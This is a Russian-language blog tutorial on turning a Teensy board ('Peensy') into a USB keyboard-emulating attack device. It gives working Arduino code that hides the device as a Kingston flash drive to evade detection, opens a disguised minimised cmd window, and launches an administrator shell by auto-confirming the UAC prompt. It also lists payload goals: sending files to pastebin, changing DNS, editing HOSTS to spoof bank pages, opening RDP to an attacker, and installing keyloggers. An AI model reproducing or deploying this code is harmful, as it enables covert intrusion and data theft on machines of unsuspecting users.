Интересным вектором атак является использование USB HID эмуляторов клавиатуры (и мышки) в корпусе стандартной USB флешки. И если autofun.inf на флешке мы уже научились как-то искать и уничтожать, то с HID эмуляторами все пока что плохо.
Для тех, кто не знаком ещё с этой темой, я рекомендую прочитать для начала хабростатью "Боевой HID-эмулятор на Arduino". Тут я не буду касаться вопросов установки и настройки среды программирования Arduino, а лучше чуть-чуть расскажу про продвинутое использование Peensy (Pentest+Teensy).
Железо
Первое, с чего следует начать, это докупить к Teensy MicroSD адаптер и DIP переключатель. Первый нужен для того чтобы Peensy мог эмулировать не только клавиатуру, но и собственно флешку. Да и хранить готовые скрипты на флешке удобней, чем каждый раз «набивать» их заново. DIP переключатель поможет в полевых условиях выбирать нужную нагрузку, или, к примеру, переключаться между 32 битной и 64 битной версией скрипта.
Готовый Peensy будет выглядеть примерно так:
Можно сразу купить готовую к работе резиновую уточку.
Прячем Peensy
Некоторые средства защиты уже научились детектировать и блокировать Peensy. Но делают они это по связке VendorID&ProductID, которую мы можем поменять в среде программирования Arduino.
Ищем фаил \arduino-1.0.1-windows\arduino-1.0.1\hardware\teensy\cores\usb_hid\usb_private.h и меняем соответствующие параметры на параметры флешки Kingston, к примеру. Кроме того пролистываем файл дальше и меняем параметр STR_PRODUCT с «Teensy» на «Kingston DataTraveler 2Gb». Теперь при установке драйверов Peensy нас сможет выдать только драйвер составного устройства вместо обычного, запоминающего. Но кто на это обратит внимание?
Основная работа Peensy проходит в окне cmd. Добавив пару ключей, мы можем сделать окно командной строки гораздо менее приметным:
cmd /T:01 /K "@echo off && mode con:COLS=15 LINES=1 && title Installing Drivers"
Включаем обратную связь
Существенным недостатком работы Teensy было использование гигантской задержки вначале работы устройства, необходимой для первичной установки драйверов. Во фреймворке Kautilya первоначальная задержка по-умолчанию составляет 25 секунд. За 25 секунд можно и успеть скинуть «необходимые документы» у коллеги на «флешку» и ее отключить. А если драйвер будет установлен, скажем, за 30 секунд — то вместо окна CMD, Peensy выложит свой боевой скрипт прямо в открытое окно Word'а.
Отсутствие обратной связи и гигантская задержка для первичной установки драйверов существенно снижали эффективность Peensy… пока для этой цели не придумали использовать NumLock!
При нажатии клавиши NumLock система передает клавиатуре команду зажечь соответствующий диод. Эту особенность можно использовать для обратной связи в коде Peensy.
Меняем 25 секундную задержку на проверку реакции системы на нажатие Peensy клавиши NumLock.
int ledkeys(void) {return int(keyboard_leds);}
bool is_num_on(void) {return ((ledkeys() & 1) == 1) ? true : false;}
void wait_for_drivers()
{
bool numLockTrap = is_num_on();
while(numLockTrap == is_num_on()) //нажимаем клавишу NumLock пока не изменится ее состояние
{
Keyboard.set_key1(KEY_NUM_LOCK);
Keyboard.send_now(); //нажали NumLock
delay(200);
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now(); //отпустили
delay(200);
}
}
Теперь мы можем проверить, установлен ли в системе PowerShell.
Убедимся что NumLock выключен
if (is_num_on())
{
delay(500);
Keyboard.set_key1(KEY_NUM_LOCK);
Keyboard.send_now();
delay(700);
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();
delay(500);
}
Включим его через PowerShell (cmd должна быть открыта)
Keyboard.println("echo Set WshShell = WScript.CreateObject(\"WScript.Shell\"): WshShell.SendKeys \"{NUMLOCK}\"' > numlock.vbs");
delay(400);
Keyboard.println("cscript numlock.vbs");
delay(400);
Теперь осталось только проверить статус NumLock с помощью is_num_on() чтобы понять, сработал скрипт или нет.
Проверки с помощью NumLock (а так же Caps и Scroll lock) можно вставлять в любую часть кода Peensy. Например, можно проверять не убрал ли пользователь фокус из окна CMD, правильно ли отработал скрипт и т.д.
Запускаем командную строку с правами администратора
Чтобы запустить командную строку с правами администратора необходимо нажать WinKey, вбить «cmd», нажать Сtrl+Shift+Enter и в появившемся окне UAC нажать «влево» + Enter.
В коде Peensy это будет выглядеть вот так:
Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI);
Keyboard.send_now(); //нажимаем WinKey
delay(400);
Keyboard.set_modifier(0);
Keyboard.send_now(); //отпускаем
delay(100);
Keyboard.print("cmd /T:01 /K \"@echo off && mode con:COLS=15 LINES=1 && title Installing Drivers\" "); //запускаем cmd
delay(400);
Keyboard.set_modifier(MODIFIERKEY_CTRL);
Keyboard.send_now();
Keyboard.set_modifier(MODIFIERKEY_CTRL | MODIFIERKEY_SHIFT);
Keyboard.send_now();
Keyboard.set_key1(KEY_ENTER);
Keyboard.send_now(); //открываем cmd с админскими правами
delay(400);
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now(); //отпускаем ctrl+shift+enter
delay(400);
Keyboard.set_key1(KEY_LEFT);
Keyboard.send_now(); //жмем влево
delay(100);
Keyboard.set_key1(0);
Keyboard.send_now();
Keyboard.set_key1(KEY_ENTER);
Keyboard.send_now(); //жмем enter
delay(100);
Keyboard.set_key1(0);
Keyboard.send_now();
Этот код отработает за 2 секунды. Можно попробовать уменьшить и до 1.
Большинство нагрузок для Peensy требуют администраторских прав, однако есть несколько интересных скриптов (например, кейлоггер с отсылкой всех нажатых клавиш на pastebin), которые спокойно запустятся и с пользовательскими правами.
Если хабраюзерам окажется интересна эта тема, я разберу несколько интересных скриптов в следующих статьях. Впрочем, скрипты можно скачать и изучить самостоятельно с блога автора Kautilya Nikhil Mittal.
Вывод
Спектр и возможности Peensy растут с каждым днём. На быстром современном компьютере Peensy способна выпалить свою нагрузку за секунды, сделав это достаточно скрытно, чтобы не быть обнаруженной большинством пользователей ПК.
Наличие обратной связи с помощью клавиш NumLock и(или) ScrollLock позволяет создавать адаптивные и отказоустойчивые нагрузки. Использование же PowerShell значительно расширяет возможности злоумышленника.
С помощью PowerShell, к примеру, можно:
— отправить информацию о системе/содержимое заданного файла на сайт pastebin.com с помощью скрытого окна Internet Explorer;
— изменить DNS сервера (что позволит контролировать интернет активностью пользователя);
— загрузить и запустить исполняемый файл;
— отредактировать файл HOSTS (нужно для подмены вебстраниц, например, банк-клиента);
— включить протокол RDP и сконфигурировать его для подключения злоумышленника;
— установить скрипт-кейлоггер или снифер;
— поднять wifi точку доступа с заданными параметрами и т.д.
Вот небольшая демонстрация работы Teensy на реальной машине с нагрузкой в виде notepad'а с админскими правами.